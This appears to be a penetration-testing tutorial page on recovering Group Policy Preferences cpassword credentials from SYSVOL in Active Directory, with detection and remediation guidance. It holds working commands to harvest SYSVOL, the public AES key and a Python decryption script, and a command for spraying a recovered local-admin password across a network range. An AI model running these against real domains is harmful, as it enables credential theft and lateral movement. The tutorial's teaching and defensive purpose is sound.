Skip to content
Pwnversity
AD-GPPintermediate · 9 min · upd. 2026-11

GPP Passwords (cpassword)

T1552.006MS14-025CVE-2014-1812

Group Policy Preferences (GPP), introduced with Windows Server 2008, let administrators configure things such as local accounts, services, scheduled tasks or mapped drives through GPOs, including their password. That password was stored in an XML file inside SYSVOL, in the cpassword attribute, encrypted with AES-256. The problem: Microsoft published the key in the protocol specification, and SYSVOL is readable by every authenticated domain user. MS14-025 (2014) removed the option to store passwords, but did not delete the XML files that already existed, so they still turn up in older domains.

flowchart LR
    U["Any domain user"] -->|"reads SYSVOL (SMB)"| X["Policies/{GUID}/…/Groups.xml<br/>cpassword=…"]
    X -->|"AES-256 with a public key"| P["Cleartext password"]
    P -->|"often local admin,<br/>same on every machine"| L["Lateral movement"]

SYSVOL is replicated to every DC and read by every computer and user in the domain to apply policies: reading it isn’t suspicious. An attacker with any domain credential (or none, if a copy of SYSVOL is exposed without authentication, as on Active) downloads the XML files, decrypts cpassword and gets passwords that, given how GPP was used, are often local admin on many machines at once or service accounts.

\\corp.local\SYSVOL\corp.local\Policies\{GPO-GUID}\Machine\Preferences\Groups\Groups.xml
\\corp.local\SYSVOL\corp.local\Policies\{GPO-GUID}\User\Preferences\...
File What it configures Password attribute
Groups.xml Local users and groups (e.g. the local Administrator) cpassword
Services.xml Account a service runs as cpassword
ScheduledTasks.xml Account of a scheduled task cpassword
DataSources.xml ODBC data sources cpassword
Drives.xml Mapped network drives cpassword
Printers.xml Shared printers cpassword
Registry.xml Registry keys (e.g. autologon) DefaultPassword in cleartext

A trimmed example of Groups.xml:

<User clsid="{…}" name="Administrator (built-in)" …>
<Properties action="U" newName="" fullName="" description=""
cpassword="j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw"
userName="Administrator (built-in)" …/>
</User>

Why the encryption doesn’t protect anything

Section titled “Why the encryption doesn’t protect anything”

cpassword is the UTF-16LE password encrypted with AES-256-CBC, a zero IV and a fixed 32-byte key that Microsoft documents in [MS-GPPREF] 2.2.1.1.4 Password Encryption:

4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8
f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b

With a public key, decrypting is trivial. The value is Base64 without the trailing = padding.

The MS14-025 bulletin (May 2014, CVE-2014-1812) removed the ability to enter passwords in those extensions from the GPO console. It does not remove existing XML files: if someone set a password before 2014 and nobody cleaned up the GPO, the file is still in SYSVOL and still being replicated.

Variant Where Condition
cpassword in Preferences Policies/{GUID}/*/Preferences/*.xml GPO configured before MS14-025 and never cleaned up
Autologon in Registry.xml DefaultUserName / DefaultPassword Autologon policy pushed by GPO
Credentials in scripts SYSVOL/…/scripts, NETLOGON (.bat, .ps1, .vbs) Logon scripts with hardcoded passwords
Exposed copy of SYSVOL A replication or backup share Readable without authentication (rare, but it happens)

With domain credentials, NetExec has modules for both cases:

Ventana de terminal
nxc smb dc01.corp.local -u jdoe -p 'Passw0rd!' -M gpp_password # cpassword in Preferences XML files
nxc smb dc01.corp.local -u jdoe -p 'Passw0rd!' -M gpp_autologin # DefaultPassword in Registry.xml

By hand, downloading the whole of SYSVOL and searching:

Ventana de terminal
smbclient //dc01.corp.local/SYSVOL -U 'corp.local/jdoe%Passw0rd!' -c 'recurse ON; prompt OFF; mget *'
grep -ril 'cpassword\|DefaultPassword' corp.local/Policies/
grep -riE 'pass(word)?\s*[=:]' corp.local/scripts/ 2>/dev/null # passwords in scripts

From a domain-joined machine:

Ventana de terminal
findstr /S /I cpassword \\corp.local\SYSVOL\corp.local\Policies\*.xml
Ventana de terminal
gpp-decrypt 'j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw'

In Python, without depending on Kali:

import base64
from Crypto.Cipher import AES # pycryptodome
KEY = bytes.fromhex("4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b")
c = "j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw"
c += "=" * (-len(c) % 4) # the XML omits the Base64 padding
raw = AES.new(KEY, AES.MODE_CBC, b"\x00" * 16).decrypt(base64.b64decode(c))
print(raw[:-raw[-1]].decode("utf-16-le")) # strip the PKCS#7 padding

The GPO tells you what the password applied to: the XML’s userName and the GPO’s scope (which OUs it’s linked to). The usual case:

Ventana de terminal
# Local administrator set by GPO: try it on every machine with local authentication
nxc smb 10.10.10.0/24 -u 'Administrator' -p 'DecryptedPassword' --local-auth
# Domain account (service, task): validate it and see what it allows
nxc smb dc01.corp.local -u svc_tasks -p 'DecryptedPassword' --shares

The XML may be old and the password no longer valid. Compare the XML’s changed= date with the GPO’s modification date, and validate before going further. If it works, move on to lateral movement or Kerberoasting with the new account.

  1. With the first domain credential, run gpp_password and gpp_autologin.
  2. Manually review SYSVOL and NETLOGON for passwords in scripts.
  3. Decrypt and note which account and scope each password applied to.
  4. Validate the credential while respecting the lockout policy (--pass-pol).
  5. If it’s a local admin, test reuse across the whole range with --local-auth.
  • NetExec (gpp_password and gpp_autologin modules).
  • gpp-decrypt (Kali) or the Python script above.
  • PowerSploit Get-GPPPassword and Get-GPPAutologon from Windows.
  • smbclient / findstr for manual searching.

A local admin password shared by many machines lets you dump credentials on all of them (credential dumping) until you find a domain admin’s session. A domain service account opens Kerberoasting, BloodHound with new permissions or direct access to servers.

Reading SYSVOL is normal, so the read itself carries little signal. What helps:

  • With detailed file share auditing, 5145 on Preferences *.xml files from machines or accounts that don’t usually touch them, in bursts.
  • Deception (honeytoken): leave a Groups.xml with a cpassword for an unprivileged decoy account and alert on any logon attempt with it (4625, 4771, 4768).
  • Logons with the built-in local administrator on many machines in a short time.

Share access auditing on the DCs, machine logon events and Microsoft Defender for Identity.

  1. Find and remove: findstr /S /I cpassword \\<domain>\SYSVOL\<domain>\Policies\*.xml or the script Microsoft published with MS14-025 (Get-SettingsWithCPassword.ps1). Delete the preference from the GPO console, not just the file.
  2. Rotate every password that has ever been in a cpassword, even if the XML looks old: treat them as compromised.
  3. Replace local admin management with Windows LAPS (a unique, rotated password per machine).
  4. Remove passwords from logon scripts and from GPO-driven autologon.
  5. Make sure copies of SYSVOL (replication, backups) aren’t exposed without authentication.

Rotate the exposed credentials, review those accounts’ logons since the GPO’s date and hunt for lateral movement with the local admin.

  • MS14-025 / CVE-2014-1812 (May 2014): Microsoft acknowledged that GPP passwords could be recovered and removed the option, without cleaning up existing XML files.
  • The AES key is published in the [MS-GPPREF] specification itself, which is why tools have had it hardcoded since 2012.
  • A recurring finding in domains with history: GPOs created to set the local administrator in the Windows 7 era that nobody has reviewed since.

More information on NVD (https://nvd.nist.gov/vuln/detail/CVE-2014-1812).

  • gpp_password and gpp_autologin run with the first credential.
  • Non-standard shares with a SYSVOL layout checked (also without credentials).
  • SYSVOL and NETLOGON scripts reviewed.
  • Passwords decrypted, with their account and scope noted.
  • Credentials validated while respecting the lockout policy.
  • Local admin reuse checked with --local-auth.